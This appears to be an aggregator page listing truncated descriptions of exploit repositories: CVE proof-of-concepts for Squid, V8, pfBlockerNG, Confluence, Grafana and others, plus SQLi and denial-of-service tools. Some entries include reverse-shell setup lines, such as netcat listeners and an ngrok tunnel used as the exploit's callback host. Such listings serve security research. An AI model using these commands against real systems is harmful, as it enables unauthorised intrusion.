Blackash-CVE-2025-54574

🛑 CVE-2025-54574 — Heap Buffer Overflow in Squid ≤ 6.3 🛑 Severity: Critical CVSS 9.3 Affected Software: Squid Proxy versions 6.3 and earlier Vulnerability Type: Heap-based buffer overflow Discovered in: URN Uniform Resource Name processing Impact: Possible remote code execution or denial-of-servi...

CVE-2025-6554

CVE-2025-6554 Reproducing the Vulnerability for macOS: brew intsall ninja git clone https://chromium.googlesource.com/chromium/tools/depottools.git export PATH=/path/to/depottools:$PATH fetch v8 cd v8 git checkout 13.8.500258 gclient sync -D sh v8asan.sh autoninja -C out/arm64.asan d8...

CVE-2022-31814

CVE-2022-31814 Updated Exploit - pfBlockerNG = 2.1.426 Unauth RCE CVE-2022-31814 Description This script is a proof-of-concept exploit for pfBlockerNG = 2.1.426 that allows for remote code execution. It takes a single target URL or a list of URLs, tries to upload a shell using multiple payloads,...

CVE-2026-63292

⚠️ CVE-2026-63292 — Apache HTTP Server Security Vulnerability 🔐 --- 🔎 Overview CVE-2026-63292 is a stack-based buffer overflow vulnerability affecting the Apache HTTP Server modvhostalias module. The issue can be triggered under specific server configurations involving oversized HTTP Host headers...

Exploit for Improperly Controlled Sequential Memory Allocation in Php

php2shell Exploit Tools and Fingerprint Database CVE-2026-109...

poc-redis

To run the exploit please extract the attached ZIP and follow these steps on Linux: 1. Set up a virtualenv/install the Redis client $ python3 -m venv .venv $ source .venv/bin/activate $ pip install -r requirements.txt 2. In another terminal, run the Redis docker image Or build from source and run...

CVE-2021-45232-POC

CVE-2021-45232-POC url:https://carbon.now.sh/FcD8uSynpCwc7Dpk03Qb...

CVE-2017-7529_PoC

CVE-2017-7529PoC CVE-2017-7529PoC...

ir-rescue

ir-rescue ir-rescue is composed of two sister scripts that collect a myriad of forensic data from 32-bit and 64-bit Windows systems ir-rescue-win and from Unix systems ir-rescue-nix. The scripts respect the order of volatility and artifacts that are changed with the execution e.g. , prefetch file...

CVE-2017-0213

CVE-2017-0213: Windows COM Elevation of Privilege Vulnerability Description Author: Google Security Research CVE: 2017-0213 EDB-ID: 42020 References: Project-Zero Microsoft Exploit-Database Video: Youtube Affected Products Product| Version| Update| Build| Tested ---|---|---|---|--- Windows 10|...

exploits

Exploits Exploits and proof-of-concept code from the team at Hacker House. Filename| Description ---|--- AirWatchMDMJailbreakBypass.txt| Bypass jailbreak detection on mobile device management AirWatch for IOS adobe-psp.tgz| Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow PSP bypass...

Kousei

Kousei こうせい Author: nu11secur1ty Years: 2023–2026 Language: Python with optional Go modules Purpose: Generate SQLi Proof-of-Concept requests, automate sqlmap attacks, and manage attack modules with ease. Description Kousei こうせい is an aggressive framework for sqlmap that can work with any web...

game-of-kingshot-re

got-re — Reverse Engineering: Game of Thrones: Conquest Android Educational project. The goal is to understand how a modern Unity/IL2CPP Android game communicates, how its native protection SDKs work, and how to apply static + dynamic analysis techniques to a real-world APK. What This Is This...

CVE-2020-8290

CVE-2020-8290 – Elevation of Privilege in Backblaze Summary Name: Elevation of Privilege in Backblaze CVE: CVE-2020-8290 Discoverer: Jason Geffner Vendor: Backblaze Product: Backblaze for Windows and Backblaze for macOS Risk: High Discovery Date: 2020-03-13 Publication Data: 2020-09-09 Fixed...

CVE-2024-29272

CVE-2024-29272 This is a Proof-of-Concept for CVE-2024-29272, an unauthenticated arbritrary file upload vulnerability that leads to remote code execution on versions of VvvebJS -l -p in another terminal: nc -lvnp...

CVE-2021-23017

CVE-2021-23017 CVE-2021-23017-PoC python3 poc.py --target 172.1.16.100 --dnsserver 172.1.16.1 This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where...

CVE-2023-22527-confluence

CVE-2023-22527-confluence Confluence CVE-2023-22527 realworld poc Usage Download bun https://github.com/oven-sh/bun/releases Start ngrok ngrok tcp 4444 Listen localhost 4444 nc -nvlp 4444 Run exploit bun exploit-CVE-2023-22527.js --lhost 0.tcp.ap.ngrok.io --lport 12169 --target https://xxx/ Resul...

WarChild

War Child Warchild is a denial of service testing suite made for analysing the strength of your website against different kinds of denial of service attacks you will be facing which are mainly organised by crooks to cause damage to your website.. Alt text Installation For Installing the required...

CVE-2021-43798-Grafana-POC

CVE-2021-43798: Grafana Arbitrary File Read Vulnerability POC Usage: python3 exp.py IP:PORT...

security-labs-pocs

Datadog Security Labs Research and Proof of Concept Code This repository contains information, exploits, malware samples, and scripts from Datadog Security Labs. Goal This repository aims at providing proof of concept exploits, malware samples and technical demos to help the community respond to...